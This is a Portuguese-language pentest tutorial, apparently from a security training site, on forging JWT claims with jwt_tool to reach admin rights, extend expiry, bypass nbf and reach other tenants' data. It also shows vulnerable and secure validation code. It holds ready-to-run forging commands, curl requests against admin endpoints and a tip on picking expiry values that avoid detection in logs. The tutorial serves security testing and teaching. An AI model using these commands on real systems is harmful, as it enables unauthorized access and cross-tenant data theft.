Manipulação de Claims e Ataques Baseados em Tempo
Cirurgia de Token: manipulando claims JWT para escalação de privilégios
O que você vai descobrir
🎯 Por que isso importa
Uma vez que você entenda como manipular claims JWT, você detém as chaves de um dos caminhos mais diretos para escalação de privilégios em aplicações web modernas. Tokens JWT carregam identidade e permissões do usuário como dados JSON legíveis—e se você pode modificar esses dados e re-assinar o token, você pode se tornar qualquer usuário com quaisquer permissões. É exatamente assim que profissionais de segurança testam falhas de autorização em aplicações reais.
🔍 O que você vai aprender
Você dominará a arte da cirurgia de token JWT—modificando sistematicamente claims de usuário como roles e permissões, contornando controles de segurança baseados em tempo manipulando datas de expiração, e forjando tokens que concedem acesso administrativo. Estas são as técnicas exatas que pentesters usam para demonstrar vulnerabilidades críticas de autorização em sistemas de produção.
🚀 Sua primeira vitória
Em 5 minutos, você pegará um token de usuário comum e o transformará em um token admin usando o modo tamper interativo do jwt_tool. Você verá exatamente como a manipulação de claims funciona na prática e entenderá por que validação adequada do lado do servidor é crítica para a segurança de aplicações.
🔧 Tente agora
Vamos realizar cirurgia de token neste JWT de exemplo para transformar um usuário comum em admin. Este é o processo exato que consultores de segurança usam para testar controles de autorização.
# Token de exemplo com role 'user' que vamos escalar para 'admin'
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.\
eyJzdWIiOiJoZG5hX3VzZXJfMTIzIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDA5OTUyMDAsImV4cCI6MTY0MDk5ODgwMH0.\
hackerdna_signature"
# Lance jwt_tool em modo tamper (edição interativa de token)
python3 jwt_tool.py $TOKEN -T
# JWT_tool primeiro lança o modo tamper interativo
# Você verá uma interface assim:
#
# Valores do header do token:
# [1] alg = "HS256"
# [2] typ = "JWT"
# [3] *ADICIONAR UM VALOR*
# [4] *DELETAR UM VALOR*
# [0] Continuar para o próximo passo
#
# Selecione [0] para continuar para a seção payload
#
# Valores do payload do token:
# [1] sub = "hdna_user_123"
# [2] name = "John Doe"
# [3] role = "user" ← Selecione este
# [4] iat = 1640995200
# [5] exp = 1640998800 ← E este
# [6] *ADICIONAR UM VALOR*
# [7] *DELETAR UM VALOR*
# [0] Continuar para o próximo passo
# Modificar role: user → admin
# Estender expiração: 1640998800 → 1672534800 (1 ano depois)Você verá: A interface interativa do JWT_tool permite que você modifique qualquer claim com precisão cirúrgica, depois re-assina automaticamente o token—dando a você um token admin forjado que as aplicações vão aceitar.
Entendendo claims JWT
Claims JWT são pares chave-valor que carregam identidade e permissões do usuário—se você pode modificá-los e re-assinar o token, você controla o que a aplicação acredita sobre o usuário
O poder da manipulação de claims JWT está em entender que tokens carregam seus dados de autorização com eles. Diferente da autenticação baseada em sessão onde permissões são armazenadas no servidor, JWTs embutem roles e permissões do usuário diretamente no token. Este design os torna incrivelmente rápidos e escaláveis—mas também significa que qualquer um que possa forjar tokens válidos pode conceder a si mesmo quaisquer permissões.
Claims padrão (RFC 7519)
Claims da especificação JWT oficial
"sub": "hdna_user_123" // ID do usuário
"iss": "auth.hackerdna.com" // Emissor
"aud": "api.hackerdna.com" // Audiência
"exp": 1640998800 // Expiração
"nbf": 1640995200 // Não antes
"iat": 1640995200 // Emitido em
"jti": "abc123" // ID JWTClaims personalizados
Permissões definidas pela aplicação
"role": "admin" // Role do usuário
"permissions": ["read", "write"]
"department": "finance" // Escopo de acesso
"is_premium": true // Flags de recurso
"api_quota": 10000 // Limites de taxa
"tenant_id": "company" // Multi-tenantAlvos de ataque
Alvos de manipulação de alto impacto
// Escalação de privilégios
"role": "user" → "admin"
"is_admin": false → true
"permissions": [] → ["*"]
// Persistência
"exp": [atual] → [futuro]
"sub": "user" → "admin"Manipulação de token profissional com JWT_Tool
O modo tamper do JWT_tool fornece a forma mais eficiente de realizar modificações cirúrgicas em tokens JWT. Profissionais de segurança do mundo inteiro usam esta ferramenta para testes de autorização porque automatiza o trabalho criptográfico complexo enquanto dá a você controle preciso sobre cada claim.
Modo tamper interativo
O modo tamper dá a você uma interface amigável para modificar qualquer parte de um token JWT, lidando automaticamente com a codificação base64 e geração de assinatura.
Cirurgia de token passo a passo
# Passo 1: Lance o modo tamper com seu token alvo
python3 jwt_tool.py [SEU_TOKEN] -T
# Passo 2: JWT_tool lança o modo tamper interativo
# Você verá uma interface assim:
#
# =============================================
# JWT Original:
# [mostra o token original]
# =============================================
#
# jwttool_[id] - Token modificado:
# [mostra o estado atual das modificações]
# =============================================
#
# Por favor selecione um número de campo do payload para modificar:
# [1] sub
# [2] name
# [3] role
# [4] department
# [5] exp
# [6] Adicionar novo claim
# [0] Continuar para o próximo passo
# Passo 3: Faça suas modificações (exemplo de sessão)
# Selecione opção 3 para modificar role
# Valor atual de role é: user
# Por favor digite o novo valor e pressione ENTER
# > admin
# Selecione opção 5 para modificar expiração
# Valor atual de exp é: 1640998800
# Por favor digite o novo valor e pressione ENTER
# > 1672534800 # (1 ano depois)
# Passo 4: Escolha método de assinatura se o segredo é conhecido
# Selecione [S] Assinar token com chave HS256
# Digite a chave: [SEU_SEGREDO_CONHECIDO]Esta abordagem interativa permite que você veja exatamente o que está mudando e verifique os resultados—perfeito para aprendizado e testes precisos.
Forja de token via linha de comando
Para testes automatizados e ataques repetidos, parâmetros de linha de comando permitem que você modifique claims específicos sem prompts interativos.
Comandos de modificação direta de claims
# Escalação de privilégios: Mudar role para admin
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc role -pv admin
# Manipulação temporal: Estender expiração em 1 ano (31536000 segundos)
# Extrair expiração atual do token
PAYLOAD=$(echo $TOKEN | cut -d'.' -f2)
CURRENT_EXP=$(echo "$PAYLOAD====" | base64 -d 2>/dev/null | jq -r '.exp // empty')
NEW_EXP=$((CURRENT_EXP + 31536000))
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc exp -pv $NEW_EXP
# Ataque multi-claim: Mudar role E estender expiração
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc role -pv admin -pc exp -pv 1672534800
# Escalação de permissões: Adicionar array de permissões admin
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc permissions -pv '["read","write","delete","admin"]'
# Impersonação de usuário: Mudar ID do subject para usuário admin alvo
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc sub -pv "hdna_admin_001"Esses comandos dão a você precisão cirúrgica para cenários de ataque específicos enquanto mantém a velocidade necessária para testes abrangentes.
Técnicas de ataque baseado em tempo
Claims baseados em tempo em JWTs controlam quando tokens são válidos e quem pode usá-los. Manipular esses claims permite que você estenda tempos de vida de tokens, contorne atrasos de ativação, e crie acesso persistente—técnicas críticas para manter acesso de longo prazo durante avaliações de segurança.
Manipulação de expiração (exp)
O claim 'exp' determina quando um token expira. Ao estender esse tempo para o futuro, você cria acesso persistente que sobrevive aos ciclos normais de refresh de token.
Extensão estratégica de expiração
# Verificar tempo de expiração atual
echo "[TOKEN_PAYLOAD]" | base64 -d | jq .exp
# Saída: 1640998800 (expira em 1 hora)
# Converter para formato legível (macOS/BSD)
date -r 1640998800
# Saída: Sex Dez 31 15:00:00 PST 2021
# Ou para Linux: date -d @1640998800
# Estender em 1 ano (31536000 segundos)
NEW_EXP=$((1640998800 + 31536000))
echo $NEW_EXP # 1672534800
# Forjar token com expiração estendida
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc exp -pv $NEW_EXPDica Pro: extensões realistas
Defina tempos de expiração que pareçam realistas para evitar detecção. Em vez de 100 anos, use 30-90 dias—tempo suficiente para acesso persistente mas não obviamente malicioso nos logs de segurança.
Bypass de Not Before (nbf)
O claim 'nbf' (não antes) impede tokens de serem usados antes de um tempo específico. Aplicações usam isso para acesso agendado ou ativação atrasada—mas você pode contornar modificando o timestamp.
Ataque de acesso antecipado
# Cenário: Token válido a partir de 1º de Janeiro de 2025
# nbf original: 1735689600 (1 Jan 2025 00:00:00 UTC)
# Hora atual: 1640995200 (31 Dez 2021)
# Verificar hora atual em timestamp Unix
date +%s
# Saída: 1640995200 (antes de nbf, então token rejeitado)
# Modificar nbf para hora atual ou antes para acesso imediato
CURRENT_TIME=$(date +%s)
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc nbf -pv $CURRENT_TIME
# Ou remover o claim nbf inteiramente
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc nbf -pv nullCenários de ataque do mundo real
Estes cenários representam padrões de ataque reais que profissionais de segurança usam para testar controles de autorização em aplicações de produção. Cada um demonstra um aspecto diferente da manipulação de claims e seu impacto real.
Cenário 1: a escalação de role clássica (5 minutos)
O ataque mais comum e de maior impacto: converter um token de usuário comum em um token de administrador modificando o claim role.
Execução do ataque
# Token original (usuário comum)
# Payload: {"sub": "hdna_user_789", "name": "John Doe", "role": "user"}
# Passo 1: Identificar a estrutura do claim role
echo "[TOKEN_PAYLOAD]" | base64 -d | jq .
# Passo 2: Modificar role de 'user' para 'admin'
python3 jwt_tool.py $TOKEN -S hs256 -p "segredo_descoberto" -I -pc role -pv admin
# Passo 3: Testar o token forjado contra endpoints admin
curl -H "Authorization: Bearer [TOKEN_FORJADO]" https://<target>/admin/users
# Resultado esperado: Acesso concedido às funções administrativasAvaliação de impacto
Acesso administrativo completo à aplicação, incluindo gerenciamento de usuários, configuração do sistema e acesso a dados sensíveis—o mesmo impacto alcançado por ataques de escalação de privilégios bem-sucedidos em avaliações de segurança reais.
Cenário 2: acesso a dados multi-tenant (10 minutos)
Em aplicações multi-tenant, tokens JWT frequentemente contêm claims tenant_id que controlam os dados de qual organização os usuários podem acessar. Modificar esse claim concede acesso aos dados de outras organizações.
Ataque cross-tenant
# Token original (usuário HackerDNA Labs)
# Payload: {"sub": "hdna_user_456", "tenant_id": "hackerdna_labs", "role": "admin"}
# Passo 1: Enumerar outros IDs de tenant (reconhecimento)
# Métodos: enumeração de subdomínios, mensagens de erro, informações públicas
# Passo 2: Modificar tenant_id para organização alvo
python3 jwt_tool.py $TOKEN -S hs256 -p "hackerdna_secret" -I -pc tenant_id -pv hdna_enterprise
# Passo 3: Acessar dados da organização alvo
curl -H "Authorization: Bearer [TOKEN_FORJADO]" https://<target>/api/customers
# Resultado: Acesso ao banco de dados de clientes da HDNA Enterprise usando credenciais HackerDNA LabsImpacto crítico no negócio
Isto representa um vazamento de dados catastrófico onde uma organização pode acessar dados sensíveis de concorrentes—uma violação que pode resultar em penalidades regulatórias, processos judiciais e perda total da confiança dos clientes.
Estratégias de detecção e defesa
Entender técnicas de ataque permite que você implemente defesas adequadas. Veja como profissionais de segurança protegem aplicações contra ataques de manipulação de claims.
Arquitetura de validação do lado do servidor
Padrão de implementação segura
// SEGURO: Verificação de permissões do lado do servidor
function authorizeUserAction(jwt_token, required_permission) {
// Passo 1: Verificar assinatura JWT e expiração
const decoded = jwt.verify(token, SECRET_KEY, {algorithms: ['RS256']});
// Passo 2: Buscar permissões ATUAIS do usuário no banco de dados
const user_permissions = database.getUserPermissions(decoded.sub);
// Passo 3: Verificar permissão no servidor (nunca confiar nos claims JWT)
if (!user_permissions.includes(required_permission)) {
throw new Error('Permissões insuficientes');
}
// Passo 4: Validar regras de negócio (isolamento de tenant, etc.)
if (decoded.tenant_id !== user.tenant_id) {
throw new Error('Acesso cross-tenant negado');
}
return true;
}
// VULNERÁVEL: Confiar nos claims JWT sem verificação
function insecureAuthorization(jwt_token) {
const decoded = jwt.decode(token); // Sem verificação de assinatura!
if (decoded.role === 'admin') { // Confiando em dados fornecidos pelo cliente!
return grantAdminAccess();
}
}O princípio chave: Tokens JWT devem ser usados para autenticação (quem você é) mas nunca autorização (o que você pode fazer) sem validação do lado do servidor.
🎯 Sua expertise em manipulação de claims está completa!
Você agora entende manipulação de claims JWT como um especialista em segurança. Você pode realizar modificações cirúrgicas de token para escalar privilégios, contornar controles baseados em tempo, e forjar tokens que concedem acesso não autorizado—além de saber como implementar defesas adequadas do lado do servidor que previnem esses ataques.
Pronto para aplicar técnicas avançadas de segurança JWT